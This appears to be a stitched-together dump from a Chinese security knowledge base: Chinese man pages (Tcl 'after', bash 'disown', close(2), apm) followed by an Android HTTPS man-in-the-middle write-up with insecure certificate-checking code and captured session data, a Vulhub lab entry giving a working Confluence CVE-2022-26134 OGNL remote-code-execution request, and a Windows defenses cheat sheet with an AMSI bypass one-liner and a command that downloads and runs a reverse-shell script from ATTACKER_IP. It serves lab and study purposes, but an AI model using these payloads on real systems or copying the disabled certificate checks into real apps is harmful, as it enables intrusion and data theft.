'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 4c 8c 12c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH after 3tcl 7.5 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
after \- 延迟一段时间之后执行一个命令
.SH 总览 SYNOPSIS
\fBafter \fIms\fR
.sp
\fBafter \fIms \fR?\fIscript script script ...\fR?
.sp
\fBafter cancel \fIid\fR
.sp
\fBafter cancel \fIscript script script ...\fR
.sp
\fBafter idle \fR?\fIscript script script ...\fR?
.sp
\fBafter info \fR?\fIid\fR?
.BE
.SH 描述 DESCRIPTION
.PP
这个命令被用于延迟执行程序或者在将来某时在后台执行一个命令。它有几种形式,依靠给命令的第一个参数(来区分):
.TP
\fBafter \fIms\fR
\fIMs\fR 必须是整数,给出以毫秒为单位的时间。命令在睡眠(sleep) \fIms\fR 毫秒之后返回。当命令在睡眠的时候,应用不响应事件。
.TP
\fBafter \fIms \fR?\fIscript script script ...\fR?
在这种形式中,命令立即返回,它安排一个 Tcl 命令在 \fIms\fR 毫秒之后作为事件处理器(handler)来运行。在给定时间,命令将被精确的执行一次。延迟的命令是通过连接(concatenate)所有的 \fIscript\fR 参数形成的,这与 \fBconcat\fR 命令的方式(fashion)一样。命令将在全局层次上执行(在任何 Tcl 过程的上下文之外)。在执行延迟命令时如果有错误发生,则使用 \fBbgerror\fR 机制来报告错误。\fBafter\fR 命令返回一个标识符,\fBafter cancel\fR 命令用它来取消延迟的命令。
.TP
\fBafter cancel \fIid\fR
取消前面安排的延迟命令的执行。\fIId\fR 指示要取消那条命令;它必须是前面 \fBafter\fR 命令返回的。如果用 \fIid\fR 给出的命令已经执行了则 \fBafter cancel\fR 命令不起作用。
.TP
\fBafter cancel \fIscript script ...\fR
这个命令也取消一个延迟命令的执行。用空格分隔符来连接 \fIscript\fR 参数(如同在 \fBconcat\fR 命令中那样)。如果有一条等待的命令与这个字符串匹配,则取消它并永不执行;如果当前没有这样的等待命令则 \fBafter cancel\fR 命令不起作用。
.TP
\fBafter idle \fIscript \fR?\fIscript script ...\fR?
用空格分隔符连接 \fIscript\fR 参数(如同在 \fBconcat\fR 命令中那样),并被作为一个空闲回调(idle callback)来安排结果脚本在以后执行。下次进入事件循环并且没有事件要处理(的时候),这个脚本被精确的执行一次。命令返回一个标识符,\fBafter cancel\fR 命令用它来取消延迟的命令。在执行延迟命令时如果有错误发生,则使用 \fBbgerror\fR 机制来报告错误。
.TP
\fBafter info \fR?\fIid\fR?
这个命令返回关于存在的事件处理器的信息。如果没提供 \fIid\fR 参数,命令为所有通过 \fBafter\fR 命令给这个解释器建立的事件处理器返回一个标识符的列表。如果提供了 \fIid\fR,它指定一个现存的处理器;\fIid\fR 必须是以前调用 \fBafter\fR 返回的值并且仍未被触发或取消。这种情况下命令返回一个有两个元素的列表。列表的第一个元素是与 \fIid\fR 关联的脚本,第二个元素要么是 \fBidle\fR 要么是 \fBtimer\fR,指示它是那种类型的事件处理器。
.LP
命令的 \fBafter \fIms\fR 和 \fBafter idle\fR 形式假定应用是事件驱动的: 除非应用进入事件循环否则延迟命令将不被执行。在通常不事件驱动的应用中,如 \fBtclsh\fR,用 \fBvwait\fR 和 \fBupdate\fR 命令进入事件循环。
.SH "参见 SEE ALSO"
bgerror
.SH 关键字 KEYWORDS
cancel, delay, idle callback, sleep, time
.SH [中文版维护人]
.B 寒蝉退士
.SH [中文版最新更新]
.B 2001/06/21
.SH 《中国 Linux 论坛 man 手册页翻译计划》:
.B http://cmpp.linuxforum.net
|
sec-knowleage
|
disown
===
从当前的shell中移除作业。
## 概要
```shell
disown [-h] [-ar] [jobspec ... | pid ...]
```
## 主要用途
- 从当前shell的作业列表中移除全部作业。
- 从当前shell的作业列表中移除指定的一到多个作业。
- 从当前shell的作业列表中移除正在运行的作业。
- 标记作业,使得它们在当前shell退出后也不会结束。
## 选项
```shell
-h 标记每个作业标识符,这些作业将不会在shell接收到sighup信号时接收到sighup信号。
-a 移除所有的作业。
-r 移除运行的作业。
```
## 参数
jobspec(可选):要移除的作业标识符,可以是一到多个。
pid(可选):要移除的作业对应的进程ID,可以是一到多个。
## 返回值
返回成功除非未开启作业控制或执行出现错误。
## 例子
```shell
# 演示。
[user2@pc] ssh 192.168.1.4
user2@192.168.1.4's password:
# 此时按下ctrl+z使得交互停止。
[1]+ Stopped ssh 192.168.1.4
[user2@pc] ssh 192.168.1.7
user2@192.168.1.7's password:
# 此时按下ctrl+z使得交互停止。
[1]+ Stopped ssh 192.168.1.7
[user2@pc] sleep 120 &
[3] 28986
# 列出作业及pid信息。
[user2@pc] jobs -l
[1]- 28756 Stopped ssh 192.168.1.4
[2]+ 28833 Stopped ssh 192.168.1.7
[3] 28986 Running sleep 120 &
# 删除运行状态的作业。
[user2@pc] disown -r
[user2@pc] jobs -l
[1]- 28756 Stopped ssh 192.168.1.4
[2]+ 28833 Stopped ssh 192.168.1.7
# 注意disown只是移除作业,并没有停止。
[user2@pc] pgrep -a -u user2 -f 'sleep 120'
28986 sleep 120
# 删除指定的作业。
[user2@pc] disown %2
bash: warning: deleting stopped job 2 with process group 28833
[user2@pc] jobs -l
[1]- 28756 Stopped ssh 192.168.1.4
# 注意disown只是移除作业,并没有停止。
[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.7'
28833 ssh 192.168.1.7
# 删除全部作业。
[user2@pc] disown -a
bash: warning: deleting stopped job 1 with process group 28756
[user2@pc] jobs -l
# 注意disown只是移除作业,并没有停止。
[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.4'
28756 ssh 192.168.1.4
```
```shell
# 演示-h选项的作用。
[user2@pc] sleep 90 &
[1] 109080
[user2@pc] jobs -l
[1]+ 109080 Running sleep 90 &
[user2@pc] disown -h %1
[user2@pc] exit
# 此时前一个终端已经关闭,现在打开新终端查找该作业。
[user2@pc] pgrep -a -u user2 -f 'sleep 90'
109080 sleep 90
```
### 注意
1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。
2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。
3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
### 参考链接
- [disown的用法](https://www.cyberciti.biz/faq/unix-linux-disown-command-examples-usage-syntax/)
|
sec-knowleage
|
.\" Hey Emacs! This file is -*- nroff -*- source.
.\"
.\" This manpage is Copyright (C) 1992 Drew Eckhardt;
.\" 1993 Michael Haardt, Ian Jackson.
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\"
.\" Modified Wed Jul 21 22:40:25 1993 by Rik Faith <faith@cs.unc.edu>
.\" Modified Sat Feb 18 15:27:48 1995 by Michael Haardt
.\" Modified Sun Apr 14 11:40:50 1996 by Andries Brouwer <aeb@cwi.nl>:
.\" corrected description of effect on locks (thanks to
.\" Tigran Aivazian <tigran@sco.com>).
.\" Modified Fri Jan 31 16:21:46 1997 by Eric S. Raymond <esr@thyrsus.com>
.\" Modified 2000-07-22 by Nicol醩 Lichtmaier <nick@debian.org>
.\" added note about close(2) not guaranteeing that data is safe on close.
.\"
.TH CLOSE 2 1996-04-14 "" "Linux Programmer's Manual"
.SH NAME 名字
close \- 关闭一个文件描述符
.SH SYNOPSIS 总览
.nf
.B #include <unistd.h>
.sp
.BI "int close(int " fd );
.fi
.SH DESCRIPTION 描述
.B close
关闭 一个 文件 描述符 , 使它 不在 指向 任何 文件 和 可以 在 新的 文件 操作 中 被 再次 使用.
任何 与 此 文件 相关联 的 以及 程序 所 拥有 的 锁 , 都 会 被 删除 (忽略 那些 持有 锁 的 文件描述符)
.PP
假如
.I fd
是 最后 一个 文件描述符 与此 资源 相 关联 , 则 这个 资源 将 被 释放.
若此 描述符 是 最后 一个 引用 到 此 文件 上 的 , 则 文件 将 使用
.BR unlink (2)
删除.
.SH "RETURN VALUE" 返回值
.B close
返回 0 表示 成功 , 或者 -1 表示 有 错误 发生 .
.SH ERRORS 错误信息
.TP
.B EBADF
.I fd
不是 一个 有效 的 已 被 打开 的 文件 的 描述符
.TP
.B EINTR
The
.BR close ()
调用 被 一 信号 中断.
.TP
.B EIO
I/O 有 错误 发生
.SH "CONFORMING TO"
SVr4, SVID, POSIX, X/OPEN, BSD 4.3. SVr4 documents an additional
ENOLINK error condition.
.SH NOTES 注意
通常 不检测 返回值 , 除了 发生 严重 的 程序 错误. 文件系统 使用 了
"write-behind" 的 技术 提高 了 执行
.BR write (2)
时 的 性能 . 即使 还 没有 被 写 , 写操作 也会 成功 . 错误 信息 在 写操作 以后
报告 , 但是 这 保证 在 关闭 文件 时 报告 . 在 关闭 文件 时 不检测 返回值 可能
会 导致 数据 的 丢失 . 这 一点 在 NFS 和 磁盘 配额 上 比较 明显.
.PP
由于 内核 会 延迟 写 , 所以 就算 成功 关闭 一个 文件 不能 保证 数据 被 成功 的 写到 磁盘 上.
当 文件流 关闭 时 , 对 文件系统 来说 一般 不去 刷新 缓冲区 . 如果 你 要 保证 数据 写入
磁盘 等 物理 存贮器 中
就 使用 fsync(2) 或 sync(2), 他们 会 做到 你想做的 (对于 这一点 要 依赖于 磁盘 设备).
.SH "SEE ALSO" 参考
.BR open (2),
.BR fcntl (2),
.BR shutdown (2),
.BR unlink (2),
.BR fclose (3)
.SH [中文维护]
Daniel (badlong@163.com)
.SH [中文更新]
2002/1/10
.SH [说明]
若 发现 错误 或 不足 请 与 我 联系.
|
sec-knowleage
|
.\" apm.1 --
.\" Created: Wed Jan 10 14:54:03 1996 by r.faith@ieee.org
.\" Revised: Sun Apr 21 16:37:43 1996 by r.faith@ieee.org
.\" Copyright 1996 Rickard E. Faith (r.faith@ieee.org)
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\"
.TH APM 1 "10 Jan 1996" "" "Linux Programmer's Manual"
.SH NAME
apm \- 查询高级电源管理(APM) BIOS
.SH 总览
.B apm
[ \-
.I VvmMsSdin
]
.SH 描述
.B apm
读取
.B /proc/apm
并用人能看懂的格式输出。因为提供了首要的
电池状态,这个命令在有兼容的
.B APM BIOS
的笔记本电脑上非常有用。
.B apm
允许使机器进入等待或挂起模式。
.SH 选项
.TP
.B -V, --version
输出
.B apm
程序的版本并立即退出。
.TP
.B -v, --verbose
输出关于
.B APM BIOS
的版本和
.B Linux APM
驱动程序的版本的信息。
.TP
.B -m, --minutes
输出剩余的总共的分钟数而不是
.I hh:mm
格式。
.TP
.B -s, --suspend
如果可能使机器进入挂起模式。
.TP
.B -S, --standby
如果可能使机器进入等待模式。
.TP
.B -i, --ignore
告诉系统在使用
.B AC (交流)
电源时忽略系统生成的
.B APM
挂起或等待事件。
对这样的用户有用:拥有膝上型电脑,在用电池为电源
时希望
.B APM
事件发生,在使用
.B AC (交流)
电源时不希望
.B APM
事件发生。
.TP
.B -n, --noignore
告诉系统在使用
.B AC
电源时不忽略系统生成的
.B APM
挂起或等待事件。
这是缺省的模式;提供这个选项作为取消的前
面的 "
.I apm -i
" 调用的方法。
.SH 相关文件
.I /proc/apm
.br
.I linux/drivers/char/apm_bios.c
.SH 著作者
本程序是由 Rik Faith (faith@cs.unc.edu)写的,在 GPL 条款下
可以自由发布。对这个程序绝对没有任何担保。当前的维护者是
Avery Pennarun (apenwarr@worldvisions.ca)。
.SH 参见
xapm(1), apmd(8)
.SH [中文版维护人]
mhss
.SH [中文版最新更新]
2000/10/31
.SH 《中国 Linux 论坛 man 手册页翻译计划》:
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
## Https中间人攻击漏洞
> **发表于2017-08-01
### 漏洞描述
中间人攻击,Man-in-the-middle attack,缩写:MITM,是指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。
### 影响范围
几乎 Android 所有系统
### 漏洞详情
#### 漏洞位置
1. checkClientTrusted中没有检查证书是否可信
```java
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType){
}
```
2. 实现HostnameVerifier时,没有在verify中进行严格证书校验
```java
HostnameVerifier hv = new HostnameVerifier(){
@Override
public boolean verify(String hostname,SSLSession session){
return true;
}
}
```
3. setHostnameVerifier方法中使用ALLOW_ALL_HOSTNAME_VERIFIER,信任所有Hostname
```java
SSLSocketFactory sf;
......
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER)
```
#### 漏洞触发条件
1. 在自定义实现X509TrustManager时,checkServerTrusted中没有检查证书是否可信,导致通信过程中可能存在中间人攻击,造成敏感数据劫持危害。
2. 在重写WebViewClient的onReceivedSslError方法时,调用proceed忽略证书验证错误信息继续加载页面,导致通信过程中可能存在中间人攻击,造成敏感数据劫持危害。
3. 在自定义实现HostnameVerifier时,没有在verify中进行严格证书校验,导致通信过程中可能存在中间人攻击,造成敏感数据劫持危害。
4. 在setHostnameVerifier方法中使用ALLOW_ALL_HOSTNAME_VERIFIER,信任所有Hostname,导致通信过程中可能存在中间人攻击,造成敏感数据劫持危害。
#### 漏洞原理
由于客户端没有校验服务端的证书,因此攻击者就能与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。在中间人攻击中,攻击者可以拦截通讯双方的通话并插入新的内容。
### poc/exp
#### 例子1 京东金融MITM漏洞
京东金融Ver 2.8.0由于证书校验有缺陷,导致https中间人攻击,攻击者直接可以获取到会话中敏感数据的加密秘钥,另外由于APP没有做应用加固或混淆,因此可以轻松分析出解密算法,利用获取到的key解密敏感数据。
如下是登陆过程中捕获到的数据:

其中的secretkey用于加密后期通信过程中的敏感数据,由于APP中使用的是对称加密,攻击者可以还原所有的通信数据。
#### 例子2 中国移动和包任意消费漏洞
HTTPS证书校验不严格,可被MITM;
加密算法不安全,可被破解;
关键数据保存在sdcard卡上,可被任意访问;
代码混淆度低,业务逻辑,关键数据泄漏;
消息签名算法比较简单,数据可被修改;
通信数据如下:
```html
POST https://mca.cmpay.com:28710/ccaweb/CCLIMCA4/2201194.dor HTTP/1.1
Cookie: JSESSIONID=CHGmYSZLTMRAx_1sSEuUP6Q4vmRI9gWiRPM6ANGnH7eZWv0NhErE!221531807
.......
Content-Length: 521
Host: mca.cmpay.com:28710
Connection: Keep-Alive
Cookie: JSESSIONID=CHGmYSZLTMRAx_1sSEuUP6Q4vmRI9gWiRPM6ANGnH7eZWv0NhErE!221531807
Cookie2: $Version=1
<?xml version="1.0" encoding="UTF-8" ?><ROOT><HEAD><IMEI>866697029909260</IMEI><MCID>201603241008185gye5tKk6EPB4iliO7</MCID><TXNCD>2201194</TXNCD><VERSION >4.3.82</VERSION ><UA>Android_21-1794*1080-HUAWEI GRA_UL10</UA><SOURCE>2009</SOURCE><PLAT>3</PLAT><DEVID>CAS00016</DEVID><SERLNO>991</SERLNO></HEAD><BODY><IMEI>866697029909260</IMEI><ENTRY>10</ENTRY><MAC>50:a7:2b:c5:e2:d8</MA
```
在用户开启免密支付的前提下,结合以上安全问题,可以实现本地或远程攻击,直接盗取和包用户资金,如给任意账号充值等,给用户带来直接经济损失。

### 漏洞修复建议
1. 建议自定义实现X509TrustManager时,在checkServerTrusted中对服务器信息进行严格校验
2. 在重写WebViewClient的onReceivedSslError方法时,避免调用proceed忽略证书验证错误信息继续加载页面
3. 在自定义实现HostnameVerifier时,在verify中对Hostname进行严格校验
4. 建议setHostnameVerifier方法中使用STRICT_HOSTNAME_VERIFIER进行严格证书校验,避免使用ALLOW_ALL_HOSTNAME_VERIFIER
|
sec-knowleage
|
# Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)
[中文版本(Chinese version)](README.zh-cn.md)
Confluence is a web-based corporate wiki developed by Australian software company Atlassian.
On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution vulnerability. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.
References:
- <https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>
- <https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis>
## Vulnerable Environment
Execute following command to start a Confluence Server 7.13.6:
```
docker compose up -d
```
After the environment starts, visit ``http://your-ip:8090`` and you will see the installation guide, select "Trial installation", then you will be asked to fill in the license key. You should apply for a Confluence Server test certificate from Atlassian.
Following [this guide](https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396) to complete the installation.
On the database configuration page, fill in the form with database address `db`, database name `confluence`, username `postgres`, password `postgres`.

## Exploit
Simplely send following request to execute arbitrary commands inside an craft OGNL expression and get the response:
```
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
```

The URL-decoded OGNL expression is `${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}`.
|
sec-knowleage
|
# Windows - Defenses
## Summary
* [AppLocker](#applocker)
* [DPAPI](#dpapi)
* [Powershell](#powershell)
* [Anti Malware Scan Interface](#anti-malware-scan-interface)
* [Just Enough Administration](#just-enough-administration)
* [Contrained Language Mode](#constrained-language-mode)
* [Script Block Logging](#script-block-logging)
* [Protected Process Light](#protected-process-light)
* [Credential Guard](#credential-guard)
* [Event Tracing for Windows](#event-tracing-for-windows)
* [Windows Defender Antivirus](#windows-defender-antivirus)
* [Windows Defender Application Control](#windows-defender-application-control)
* [Windows Defender Firewall](#windows-defender-firewall)
* [Windows Information Protection](#windows-information-protection)
## AppLocker
> AppLocker is a security feature in Microsoft Windows that provides administrators with the ability to control which applications and files users are allowed to run on their systems. The rules can be based on various criteria, such as the file path, file publisher, or file hash, and can be applied to specific users or groups.
* Enumerate Local AppLocker Effective Policy
```powershell
PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
PowerView PS C:\> Get-AppLockerPolicy -effective -xml
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe # (Keys: Appx, Dll, Exe, Msi and Script
```
* AppLocker Bypass
* By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writtable by any users
* [api0cradle/UltimateAppLockerByPassList/Generic-AppLockerbypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md)
* [api0cradle/UltimateAppLockerByPassList/VerifiedAppLockerBypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md)
* [api0cradle/UltimateAppLockerByPassList/DLL-Execution.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md)
## DPAPI
Refer to [PayloadsAllTheThings/Windows - DPAPI.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20DPAPI.md)
## Powershell
### Anti Malware Scan Interface
> The Anti-Malware Scan Interface (AMSI) is a Windows API (Application Programming Interface) that provides a unified interface for applications and services to integrate with any anti-malware product installed on a system. The API allows anti-malware solutions to scan files and scripts at runtime, and provides a means for applications to request a scan of specific content.
Find more AMSI bypass: [Windows - AMSI Bypass.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass.md)
```powershell
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
```
### Just Enough Administration
> Just-Enough-Administration (JEA) is a feature in Microsoft Windows Server that allows administrators to delegate specific administrative tasks to non-administrative users. JEA provides a secure and controlled way to grant limited, just-enough access to systems, while ensuring that the user cannot perform unintended actions or access sensitive information.
Breaking out if JEA:
* List available cmdlets: `command`
* Look for non-default cmdlets:
```ps1
Set-PSSessionConfiguration
Start-Process
New-Service
Add-Computer
```
### Constrained Language Mode
Check if we are in a constrained mode: `$ExecutionContext.SessionState.LanguageMode`
* Bypass using an old Powershell. Powershell v2 doesn't support CLM.
```ps1
powershell.exe -version 2
powershell.exe -version 2 -ExecutionPolicy bypass
powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"
```
* Bypass when `__PSLockDownPolicy` is used. Just put "System32" somewhere in the path.
```ps1
# Enable CLM from the environment
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
Get-ChildItem -Path Env:
# Create a check-mode.ps1 containing your "evil" powershell commands
$mode = $ExecutionContext.SessionState.LanguageMode
write-host $mode
# Simple bypass, execute inside a System32 folder
PS C:\> C:\Users\Public\check-mode.ps1
ConstrainedLanguage
PS C:\> C:\Users\Public\System32\check-mode.ps1
FullLanguagge
```
* Bypass using COM: [xpn/COM_to_registry.ps1](https://gist.githubusercontent.com/xpn/1e9e879fab3e9ebfd236f5e4fdcfb7f1/raw/ceb39a9d5b0402f98e8d3d9723b0bd19a84ac23e/COM_to_registry.ps1)
* Bypass using your own Powershell DLL: [p3nt4/PowerShdll](https://github.com/p3nt4/PowerShdll) & [iomoath/PowerShx](https://github.com/iomoath/PowerShx)
```ps1
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
rundll32 PowerShx.dll,main -e <PS script to run>
rundll32 PowerShx.dll,main -f <path> Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console
```
### Script Block Logging
> Once Script Block Logging is enabled, the script blocks and commands that are executed will be recorded in the Windows event log under the "Windows PowerShell" channel. To view the logs, administrators can use the Event Viewer application and navigate to the "Windows PowerShell" channel.
Enable Script Block Loggin:
```ps1
function Enable-PSScriptBlockLogging
{
$basePath = 'HKLM:\Software\Policies\Microsoft\Windows' +
'\PowerShell\ScriptBlockLogging'
if(-not (Test-Path $basePath))
{
$null = New-Item $basePath -Force
}
Set-ItemProperty $basePath -Name EnableScriptBlockLogging -Value "1"
}
```
## Protected Process Light
